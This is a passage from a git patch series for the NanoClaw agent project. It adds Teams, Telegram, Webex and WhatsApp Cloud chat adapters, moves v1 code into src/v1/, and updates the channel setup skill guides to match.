'./chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('teams', { + factory: () => { + const env = readEnvFile(['TEAMS_APP_ID', 'TEAMS_APP_PASSWORD']); + if (!env.TEAMS_APP_ID) return null; + const teamsAdapter = createTeamsAdapter({ + appId: env.TEAMS_APP_ID, + appPassword: env.TEAMS_APP_PASSWORD, + }); + return createChatSdkBridge({ adapter: teamsAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/telegram-v2.ts b/src/channels/telegram-v2.ts new file mode 100644 index 0000000..c4ae5fe --- /dev/null +++ b/src/channels/telegram-v2.ts @@ -0,0 +1,21 @@ +/** + * Telegram channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createTelegramAdapter } from '@chat-adapter/telegram'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('telegram', { + factory: () => { + const env = readEnvFile(['TELEGRAM_BOT_TOKEN']); + if (!env.TELEGRAM_BOT_TOKEN) return null; + const telegramAdapter = createTelegramAdapter({ + botToken: env.TELEGRAM_BOT_TOKEN, + mode: 'polling', + }); + return createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/webex-v2.ts b/src/channels/webex-v2.ts new file mode 100644 index 0000000..63f1870 --- /dev/null +++ b/src/channels/webex-v2.ts @@ -0,0 +1,21 @@ +/** + * Webex channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createWebexAdapter } from '@bitbasti/chat-adapter-webex'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('webex', { + factory: () => { + const env = readEnvFile(['WEBEX_BOT_TOKEN', 'WEBEX_WEBHOOK_SECRET']); + if (!env.WEBEX_BOT_TOKEN) return null; + const webexAdapter = createWebexAdapter({ + botToken: env.WEBEX_BOT_TOKEN, + webhookSecret: env.WEBEX_WEBHOOK_SECRET, + }); + return createChatSdkBridge({ adapter: webexAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/whatsapp-cloud-v2.ts b/src/channels/whatsapp-cloud-v2.ts new file mode 100644 index 0000000..74b8160 --- /dev/null +++ b/src/channels/whatsapp-cloud-v2.ts @@ -0,0 +1,24 @@ +/** + * WhatsApp Cloud API channel adapter (v2) — uses Chat SDK bridge. + * Uses the official Meta WhatsApp Business Cloud API (not Baileys). + * Self-registers on import. + */ +import { createWhatsAppAdapter } from '@chat-adapter/whatsapp'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('whatsapp-cloud', { + factory: () => { + const env = readEnvFile(['WHATSAPP_ACCESS_TOKEN', 'WHATSAPP_PHONE_NUMBER_ID', 'WHATSAPP_APP_SECRET', 'WHATSAPP_VERIFY_TOKEN']); + if (!env.WHATSAPP_ACCESS_TOKEN) return null; + const whatsappAdapter = createWhatsAppAdapter({ + accessToken: env.WHATSAPP_ACCESS_TOKEN, + phoneNumberId: env.WHATSAPP_PHONE_NUMBER_ID, + appSecret: env.WHATSAPP_APP_SECRET, + verifyToken: env.WHATSAPP_VERIFY_TOKEN, + }); + return createChatSdkBridge({ adapter: whatsappAdapter, concurrency: 'concurrent' }); + }, +}); From 9486d56b011cd3bd5d85f701366a98026e8477b7 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 11:40:36 +0300 Subject: [PATCH 080/485] v2: make v2 the main entry point, move v1 to src/v1/ MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Move all v1 files (index, router, container-runner, db, ipc, types, logger, channels/registry, and all utilities) to src/v1/ as a fully self-contained archive with no shared dependencies - Rename v2 files to remove -v2 suffix (index-v2.ts → index.ts, etc.) - Update all imports across v2 source, tests, and setup files - Migrate shared utilities (config, env, container-runtime, mount-security, timezone, group-folder) from pino logger to v2 log module - Migrate setup/ files from logger to log with argument order swap - Container agent-runner: move v1 entry to v1/, rename v2 to index.ts - Update setup skill to offer all 13 v2 channels - Install all Chat SDK adapter packages - dist/index.js now runs v2; dist/v1/index.js runs v1 Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/scheduled_tasks.lock | 1 + .claude/skills/add-gchat-v2/SKILL.md | 6 +- .claude/skills/add-github-v2/SKILL.md | 6 +- .claude/skills/add-imessage-v2/SKILL.md | 6 +- .claude/skills/add-linear-v2/SKILL.md | 6 +- .claude/skills/add-matrix-v2/SKILL.md | 6 +- .claude/skills/add-resend-v2/SKILL.md | 6 +- .claude/skills/add-slack-v2/SKILL.md | 6 +- .claude/skills/add-teams-v2/SKILL.md | 6 +- .claude/skills/add-telegram-v2/SKILL.md | 6 +- .claude/skills/add-webex-v2/SKILL.md | 6 +- .claude/skills/add-whatsapp-cloud-v2/SKILL.md | 6 +- .claude/skills/setup/SKILL.md | 43 +- container/agent-runner/src/index-v2.ts | 96 - container/agent-runner/src/index.ts | 762 +--- container/agent-runner/src/v1/index.ts | 736 ++++ .../src/{ => v1}/ipc-mcp-stdio.ts | 0 .../agent-runner/src/{ => v1}/mcp-tools.ts | 0 package-lock.json | 3923 ++++++++++++++++- package.json | 11 + setup/container.ts | 14 +- setup/environment.ts | 8 +- setup/groups.ts | 16 +- setup/index.ts | 4 +- setup/mounts.ts | 20 +- setup/register.ts | 20 +- setup/service.ts | 42 +- setup/timezone.ts | 4 +- setup/verify.ts | 8 +- src/channels/channel-registry.test.ts | 6 +- src/channels/{discord-v2.ts => discord.ts} | 0 src/channels/{gchat-v2.ts => gchat.ts} | 0 src/channels/{github-v2.ts => github.ts} | 0 src/channels/{imessage-v2.ts => imessage.ts} | 2 +- src/channels/index.ts | 24 +- src/channels/{linear-v2.ts => linear.ts} | 0 src/channels/{matrix-v2.ts => matrix.ts} | 0 src/channels/{resend-v2.ts => resend.ts} | 0 src/channels/{slack-v2.ts => slack.ts} | 0 src/channels/{teams-v2.ts => teams.ts} | 0 src/channels/{telegram-v2.ts => telegram.ts} | 0 src/channels/{webex-v2.ts => webex.ts} | 0 ...whatsapp-cloud-v2.ts => whatsapp-cloud.ts} | 7 +- src/container-runner-v2.ts | 277 -- src/container-runner.ts | 782 +--- src/container-runtime.test.ts | 27 +- src/container-runtime.ts | 10 +- src/db/agent-groups.ts | 2 +- src/db/messaging-groups.ts | 2 +- src/db/sessions.ts | 2 +- src/delivery.ts | 4 +- src/env.ts | 4 +- src/host-core.test.ts | 12 +- src/host-sweep.ts | 4 +- src/index-v2.ts | 180 - src/index.ts | 783 +--- src/mount-security.ts | 80 +- src/router-v2.ts | 111 - src/router.ts | 136 +- src/session-manager.ts | 2 +- src/state-sqlite.ts | 48 +- src/types-v2.ts | 90 - src/types.ts | 180 +- src/{ => v1}/channels/registry.test.ts | 0 src/{ => v1}/channels/registry.ts | 0 src/v1/config.ts | 62 + src/{ => v1}/container-runner.test.ts | 0 src/v1/container-runner.ts | 677 +++ src/v1/container-runtime.test.ts | 147 + src/v1/container-runtime.ts | 80 + src/{ => v1}/db-migration.test.ts | 0 src/{ => v1}/db.test.ts | 0 src/{ => v1}/db.ts | 0 src/v1/env.ts | 42 + src/{ => v1}/formatting.test.ts | 0 src/v1/group-folder.test.ts | 35 + src/v1/group-folder.ts | 44 + src/{ => v1}/group-queue.test.ts | 0 src/{ => v1}/group-queue.ts | 0 src/v1/index.ts | 647 +++ src/{ => v1}/ipc-auth.test.ts | 0 src/{ => v1}/ipc.ts | 0 src/{ => v1}/logger.ts | 0 src/v1/mount-security.ts | 405 ++ src/{ => v1}/remote-control.test.ts | 0 src/{ => v1}/remote-control.ts | 0 src/v1/router.ts | 43 + src/{ => v1}/routing.test.ts | 0 src/{ => v1}/sender-allowlist.test.ts | 0 src/{ => v1}/sender-allowlist.ts | 0 src/{ => v1}/session-cleanup.ts | 0 src/{ => v1}/task-scheduler.test.ts | 0 src/{ => v1}/task-scheduler.ts | 0 src/v1/timezone.test.ts | 64 + src/v1/timezone.ts | 37 + src/v1/types.ts | 112 + 96 files changed, 7904 insertions(+), 3040 deletions(-) create mode 100644 .claude/scheduled_tasks.lock delete mode 100644 container/agent-runner/src/index-v2.ts create mode 100644 container/agent-runner/src/v1/index.ts rename container/agent-runner/src/{ => v1}/ipc-mcp-stdio.ts (100%) rename container/agent-runner/src/{ => v1}/mcp-tools.ts (100%) rename src/channels/{discord-v2.ts => discord.ts} (100%) rename src/channels/{gchat-v2.ts => gchat.ts} (100%) rename src/channels/{github-v2.ts => github.ts} (100%) rename src/channels/{imessage-v2.ts => imessage.ts} (90%) rename src/channels/{linear-v2.ts => linear.ts} (100%) rename src/channels/{matrix-v2.ts => matrix.ts} (100%) rename src/channels/{resend-v2.ts => resend.ts} (100%) rename src/channels/{slack-v2.ts => slack.ts} (100%) rename src/channels/{teams-v2.ts => teams.ts} (100%) rename src/channels/{telegram-v2.ts => telegram.ts} (100%) rename src/channels/{webex-v2.ts => webex.ts} (100%) rename src/channels/{whatsapp-cloud-v2.ts => whatsapp-cloud.ts} (84%) delete mode 100644 src/container-runner-v2.ts delete mode 100644 src/index-v2.ts delete mode 100644 src/router-v2.ts delete mode 100644 src/types-v2.ts rename src/{ => v1}/channels/registry.test.ts (100%) rename src/{ => v1}/channels/registry.ts (100%) create mode 100644 src/v1/config.ts rename src/{ => v1}/container-runner.test.ts (100%) create mode 100644 src/v1/container-runner.ts create mode 100644 src/v1/container-runtime.test.ts create mode 100644 src/v1/container-runtime.ts rename src/{ => v1}/db-migration.test.ts (100%) rename src/{ => v1}/db.test.ts (100%) rename src/{ => v1}/db.ts (100%) create mode 100644 src/v1/env.ts rename src/{ => v1}/formatting.test.ts (100%) create mode 100644 src/v1/group-folder.test.ts create mode 100644 src/v1/group-folder.ts rename src/{ => v1}/group-queue.test.ts (100%) rename src/{ => v1}/group-queue.ts (100%) create mode 100644 src/v1/index.ts rename src/{ => v1}/ipc-auth.test.ts (100%) rename src/{ => v1}/ipc.ts (100%) rename src/{ => v1}/logger.ts (100%) create mode 100644 src/v1/mount-security.ts rename src/{ => v1}/remote-control.test.ts (100%) rename src/{ => v1}/remote-control.ts (100%) create mode 100644 src/v1/router.ts rename src/{ => v1}/routing.test.ts (100%) rename src/{ => v1}/sender-allowlist.test.ts (100%) rename src/{ => v1}/sender-allowlist.ts (100%) rename src/{ => v1}/session-cleanup.ts (100%) rename src/{ => v1}/task-scheduler.test.ts (100%) rename src/{ => v1}/task-scheduler.ts (100%) create mode 100644 src/v1/timezone.test.ts create mode 100644 src/v1/timezone.ts create mode 100644 src/v1/types.ts diff --git a/.claude/scheduled_tasks.lock b/.claude/scheduled_tasks.lock new file mode 100644 index 0000000..d8a755d --- /dev/null +++ b/.claude/scheduled_tasks.lock @@ -0,0 +1 @@ +{"sessionId":"56e89c33-b844-4e6a-8df3-2210b2fb4a4d","pid":47993,"acquiredAt":1775696579277} \ No newline at end of file diff --git a/.claude/skills/add-gchat-v2/SKILL.md b/.claude/skills/add-gchat-v2/SKILL.md index cf1a573..aa4a740 100644 --- a/.claude/skills/add-gchat-v2/SKILL.md +++ b/.claude/skills/add-gchat-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Google Chat support to NanoClaw v2 using the Chat SDK bridge. ## Phase 1: Pre-flight -Check if `src/channels/gchat-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/gchat.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/gchat Uncomment the Google Chat import in `src/channels/index.ts`: ```typescript -import './gchat-v2.js'; +import './gchat.js'; ``` ### Build @@ -72,7 +72,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './gchat-v2.js'` in `src/channels/index.ts` +1. Comment out `import './gchat.js'` in `src/channels/index.ts` 2. Remove `GCHAT_CREDENTIALS` from `.env` 3. `npm uninstall @chat-adapter/gchat` 4. Rebuild and restart diff --git a/.claude/skills/add-github-v2/SKILL.md b/.claude/skills/add-github-v2/SKILL.md index 44e7a41..f2e7276 100644 --- a/.claude/skills/add-github-v2/SKILL.md +++ b/.claude/skills/add-github-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds GitHub support to NanoClaw v2 using the Chat SDK bridge. The age ## Phase 1: Pre-flight -Check if `src/channels/github-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/github.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/github Uncomment the GitHub import in `src/channels/index.ts`: ```typescript -import './github-v2.js'; +import './github.js'; ``` ### Build @@ -74,7 +74,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './github-v2.js'` in `src/channels/index.ts` +1. Comment out `import './github.js'` in `src/channels/index.ts` 2. Remove `GITHUB_TOKEN` and `GITHUB_WEBHOOK_SECRET` from `.env` 3. `npm uninstall @chat-adapter/github` 4. Rebuild and restart diff --git a/.claude/skills/add-imessage-v2/SKILL.md b/.claude/skills/add-imessage-v2/SKILL.md index 33121ee..6ac1a6f 100644 --- a/.claude/skills/add-imessage-v2/SKILL.md +++ b/.claude/skills/add-imessage-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds iMessage support to NanoClaw v2 using the Chat SDK bridge. Suppo ## Phase 1: Pre-flight -Check if `src/channels/imessage-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/imessage.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install chat-adapter-imessage Uncomment the iMessage import in `src/channels/index.ts`: ```typescript -import './imessage-v2.js'; +import './imessage.js'; ``` ### Build @@ -80,7 +80,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './imessage-v2.js'` in `src/channels/index.ts` +1. Comment out `import './imessage.js'` in `src/channels/index.ts` 2. Remove iMessage env vars from `.env` 3. `npm uninstall chat-adapter-imessage` 4. Rebuild and restart diff --git a/.claude/skills/add-linear-v2/SKILL.md b/.claude/skills/add-linear-v2/SKILL.md index 9ba6f8a..d4b1933 100644 --- a/.claude/skills/add-linear-v2/SKILL.md +++ b/.claude/skills/add-linear-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Linear support to NanoClaw v2 using the Chat SDK bridge. The age ## Phase 1: Pre-flight -Check if `src/channels/linear-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/linear.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/linear Uncomment the Linear import in `src/channels/index.ts`: ```typescript -import './linear-v2.js'; +import './linear.js'; ``` ### Build @@ -71,7 +71,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './linear-v2.js'` in `src/channels/index.ts` +1. Comment out `import './linear.js'` in `src/channels/index.ts` 2. Remove `LINEAR_API_KEY` and `LINEAR_WEBHOOK_SECRET` from `.env` 3. `npm uninstall @chat-adapter/linear` 4. Rebuild and restart diff --git a/.claude/skills/add-matrix-v2/SKILL.md b/.claude/skills/add-matrix-v2/SKILL.md index 1e4848f..8684cf1 100644 --- a/.claude/skills/add-matrix-v2/SKILL.md +++ b/.claude/skills/add-matrix-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Matrix support to NanoClaw v2 using the Chat SDK bridge. Works w ## Phase 1: Pre-flight -Check if `src/channels/matrix-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/matrix.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @beeper/chat-adapter-matrix Uncomment the Matrix import in `src/channels/index.ts`: ```typescript -import './matrix-v2.js'; +import './matrix.js'; ``` ### Build @@ -71,7 +71,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './matrix-v2.js'` in `src/channels/index.ts` +1. Comment out `import './matrix.js'` in `src/channels/index.ts` 2. Remove `MATRIX_BASE_URL`, `MATRIX_ACCESS_TOKEN`, `MATRIX_USER_ID`, `MATRIX_BOT_USERNAME` from `.env` 3. `npm uninstall @beeper/chat-adapter-matrix` 4. Rebuild and restart diff --git a/.claude/skills/add-resend-v2/SKILL.md b/.claude/skills/add-resend-v2/SKILL.md index f858037..ae25e3f 100644 --- a/.claude/skills/add-resend-v2/SKILL.md +++ b/.claude/skills/add-resend-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds email support via Resend to NanoClaw v2 using the Chat SDK bridg ## Phase 1: Pre-flight -Check if `src/channels/resend-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/resend.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @resend/chat-sdk-adapter Uncomment the Resend import in `src/channels/index.ts`: ```typescript -import './resend-v2.js'; +import './resend.js'; ``` ### Build @@ -73,7 +73,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './resend-v2.js'` in `src/channels/index.ts` +1. Comment out `import './resend.js'` in `src/channels/index.ts` 2. Remove `RESEND_API_KEY`, `RESEND_FROM_ADDRESS`, `RESEND_FROM_NAME`, `RESEND_WEBHOOK_SECRET` from `.env` 3. `npm uninstall @resend/chat-sdk-adapter` 4. Rebuild and restart diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md index c5b5a17..2d03afe 100644 --- a/.claude/skills/add-slack-v2/SKILL.md +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Slack support to NanoClaw v2 using the Chat SDK bridge. ## Phase 1: Pre-flight -Check if `src/channels/slack-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/slack.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/slack Uncomment the Slack import in `src/channels/index.ts`: ```typescript -import './slack-v2.js'; +import './slack.js'; ``` ### Build @@ -75,7 +75,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './slack-v2.js'` in `src/channels/index.ts` +1. Comment out `import './slack.js'` in `src/channels/index.ts` 2. Remove `SLACK_BOT_TOKEN` and `SLACK_SIGNING_SECRET` from `.env` 3. `npm uninstall @chat-adapter/slack` 4. Rebuild and restart diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md index 78f9650..2976883 100644 --- a/.claude/skills/add-teams-v2/SKILL.md +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Microsoft Teams support to NanoClaw v2 using the Chat SDK bridge ## Phase 1: Pre-flight -Check if `src/channels/teams-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/teams.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/teams Uncomment the Teams import in `src/channels/index.ts`: ```typescript -import './teams-v2.js'; +import './teams.js'; ``` ### Build @@ -69,7 +69,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './teams-v2.js'` in `src/channels/index.ts` +1. Comment out `import './teams.js'` in `src/channels/index.ts` 2. Remove `TEAMS_APP_ID` and `TEAMS_APP_PASSWORD` from `.env` 3. `npm uninstall @chat-adapter/teams` 4. Rebuild and restart diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md index 7bcc079..754a948 100644 --- a/.claude/skills/add-telegram-v2/SKILL.md +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Telegram support to NanoClaw v2 using the Chat SDK bridge. ## Phase 1: Pre-flight -Check if `src/channels/telegram-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/telegram.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/telegram Uncomment the Telegram import in `src/channels/index.ts`: ```typescript -import './telegram-v2.js'; +import './telegram.js'; ``` ### Build @@ -76,7 +76,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './telegram-v2.js'` in `src/channels/index.ts` +1. Comment out `import './telegram.js'` in `src/channels/index.ts` 2. Remove `TELEGRAM_BOT_TOKEN` from `.env` 3. `npm uninstall @chat-adapter/telegram` 4. Rebuild and restart diff --git a/.claude/skills/add-webex-v2/SKILL.md b/.claude/skills/add-webex-v2/SKILL.md index 65f0dcf..a11da4c 100644 --- a/.claude/skills/add-webex-v2/SKILL.md +++ b/.claude/skills/add-webex-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds Cisco Webex support to NanoClaw v2 using the Chat SDK bridge. ## Phase 1: Pre-flight -Check if `src/channels/webex-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/webex.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @bitbasti/chat-adapter-webex Uncomment the Webex import in `src/channels/index.ts`: ```typescript -import './webex-v2.js'; +import './webex.js'; ``` ### Build @@ -69,7 +69,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './webex-v2.js'` in `src/channels/index.ts` +1. Comment out `import './webex.js'` in `src/channels/index.ts` 2. Remove `WEBEX_BOT_TOKEN` and `WEBEX_WEBHOOK_SECRET` from `.env` 3. `npm uninstall @bitbasti/chat-adapter-webex` 4. Rebuild and restart diff --git a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md index 32a08ae..0ebc0c0 100644 --- a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md +++ b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md @@ -9,7 +9,7 @@ This skill adds WhatsApp support via the official Meta WhatsApp Business Cloud A ## Phase 1: Pre-flight -Check if `src/channels/whatsapp-cloud-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/whatsapp-cloud.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. ## Phase 2: Apply Code Changes @@ -24,7 +24,7 @@ npm install @chat-adapter/whatsapp Uncomment the WhatsApp Cloud API import in `src/channels/index.ts`: ```typescript -import './whatsapp-cloud-v2.js'; +import './whatsapp-cloud.js'; ``` ### Build @@ -76,7 +76,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Removal -1. Comment out `import './whatsapp-cloud-v2.js'` in `src/channels/index.ts` +1. Comment out `import './whatsapp-cloud.js'` in `src/channels/index.ts` 2. Remove `WHATSAPP_ACCESS_TOKEN`, `WHATSAPP_PHONE_NUMBER_ID`, `WHATSAPP_APP_SECRET`, `WHATSAPP_VERIFY_TOKEN` from `.env` 3. `npm uninstall @chat-adapter/whatsapp` 4. Rebuild and restart diff --git a/.claude/skills/setup/SKILL.md b/.claude/skills/setup/SKILL.md index 200938d..77f8341 100644 --- a/.claude/skills/setup/SKILL.md +++ b/.claude/skills/setup/SKILL.md @@ -242,26 +242,43 @@ Verify the proxy starts: `npm run dev` should show "Credential proxy listening" ## 5. Set Up Channels AskUserQuestion (multiSelect): Which messaging channels do you want to enable? -- WhatsApp (authenticates via QR code or pairing code) -- Telegram (authenticates via bot token from @BotFather) -- Slack (authenticates via Slack app with Socket Mode) -- Discord (authenticates via Discord bot token) +- Discord (bot token + public key) +- Slack (bot token + signing secret) +- Telegram (bot token from @BotFather) +- GitHub (PR/issue comment threads) +- Linear (issue comment threads) +- Microsoft Teams (Azure Bot) +- Google Chat (service account) +- WhatsApp Cloud API (Meta Business API) +- WhatsApp Baileys (QR code / pairing code) +- Resend (email) +- Matrix (any homeserver) +- Webex (bot token) +- iMessage (macOS local or Photon API) -**Delegate to each selected channel's own skill.** Each channel skill handles its own code installation, authentication, registration, and JID resolution. This avoids duplicating channel-specific logic and ensures JIDs are always correct. +**Delegate to each selected channel's own skill.** Each channel skill handles its own package installation, authentication, registration, and configuration. This avoids duplicating channel-specific logic. For each selected channel, invoke its skill: -- **WhatsApp:** Invoke `/add-whatsapp` -- **Telegram:** Invoke `/add-telegram` -- **Slack:** Invoke `/add-slack` - **Discord:** Invoke `/add-discord` +- **Slack:** Invoke `/add-slack-v2` +- **Telegram:** Invoke `/add-telegram-v2` +- **GitHub:** Invoke `/add-github-v2` +- **Linear:** Invoke `/add-linear-v2` +- **Microsoft Teams:** Invoke `/add-teams-v2` +- **Google Chat:** Invoke `/add-gchat-v2` +- **WhatsApp Cloud API:** Invoke `/add-whatsapp-cloud-v2` +- **WhatsApp Baileys:** Invoke `/add-whatsapp` +- **Resend:** Invoke `/add-resend-v2` +- **Matrix:** Invoke `/add-matrix-v2` +- **Webex:** Invoke `/add-webex-v2` +- **iMessage:** Invoke `/add-imessage-v2` Each skill will: -1. Install the channel code (via `git merge` of the skill branch) -2. Collect credentials/tokens and write to `.env` -3. Authenticate (WhatsApp QR/pairing, or verify token-based connection) -4. Register the chat with the correct JID format -5. Build and verify +1. Install the Chat SDK adapter package +2. Uncomment the channel import in `src/channels/index.ts` +3. Collect credentials/tokens and write to `.env` +4. Build and verify **After all channel skills complete**, install dependencies and rebuild — channel merges may introduce new packages: diff --git a/container/agent-runner/src/index-v2.ts b/container/agent-runner/src/index-v2.ts deleted file mode 100644 index db6523a..0000000 --- a/container/agent-runner/src/index-v2.ts +++ /dev/null @@ -1,96 +0,0 @@ -/** - * NanoClaw Agent Runner v2 - * - * Runs inside a container. All IO goes through the session DB. - * No stdin, no stdout markers, no IPC files. - * - * Config: - * - SESSION_DB_PATH: path to session SQLite DB (default: /workspace/session.db) - * - AGENT_PROVIDER: 'claude' | 'mock' (default: claude) - * - NANOCLAW_ASSISTANT_NAME: assistant name for transcript archiving - * - NANOCLAW_ADMIN_USER_ID: admin user ID for permission checks - * - * Mount structure: - * /workspace/ - * session.db ← session SQLite DB - * outbox/ ← outbound files - * agent/ ← agent group folder (CLAUDE.md, skills, working files) - * .claude/ ← Claude SDK session data - */ - -import fs from 'fs'; -import path from 'path'; -import { fileURLToPath } from 'url'; - -import { createProvider, type ProviderName } from './providers/factory.js'; -import { runPollLoop } from './poll-loop.js'; - -function log(msg: string): void { - console.error(`[agent-runner] ${msg}`); -} - -const CWD = '/workspace/agent'; -const GLOBAL_CLAUDE_MD = '/workspace/global/CLAUDE.md'; - -async function main(): Promise { - const providerName = (process.env.AGENT_PROVIDER || 'claude') as ProviderName; - const assistantName = process.env.NANOCLAW_ASSISTANT_NAME; - - log(`Starting v2 agent-runner (provider: ${providerName})`); - - const provider = createProvider(providerName, { assistantName }); - - // Load global CLAUDE.md as additional system context - let systemPrompt: string | undefined; - if (fs.existsSync(GLOBAL_CLAUDE_MD)) { - systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); - log('Loaded global CLAUDE.md'); - } - - // Discover additional directories mounted at /workspace/extra/* - const additionalDirectories: string[] = []; - const extraBase = '/workspace/extra'; - if (fs.existsSync(extraBase)) { - for (const entry of fs.readdirSync(extraBase)) { - const fullPath = path.join(extraBase, entry); - if (fs.statSync(fullPath).isDirectory()) { - additionalDirectories.push(fullPath); - } - } - if (additionalDirectories.length > 0) { - log(`Additional directories: ${additionalDirectories.join(', ')}`); - } - } - - // MCP server path - const __dirname = path.dirname(fileURLToPath(import.meta.url)); - const mcpServerPath = path.join(__dirname, 'mcp-tools', 'index.js'); - - // SDK env - const env: Record = { - ...process.env, - CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', - }; - - await runPollLoop({ - provider, - cwd: CWD, - mcpServers: { - nanoclaw: { - command: 'node', - args: [mcpServerPath], - env: { - SESSION_DB_PATH: process.env.SESSION_DB_PATH || '/workspace/session.db', - }, - }, - }, - systemPrompt, - env, - additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, - }); -} - -main().catch((err) => { - log(`Fatal error: ${err instanceof Error ? err.message : String(err)}`); - process.exit(1); -}); diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 7e739c7..db6523a 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -1,736 +1,96 @@ /** - * NanoClaw Agent Runner - * Runs inside a container, receives config via stdin, outputs result to stdout + * NanoClaw Agent Runner v2 * - * Input protocol: - * 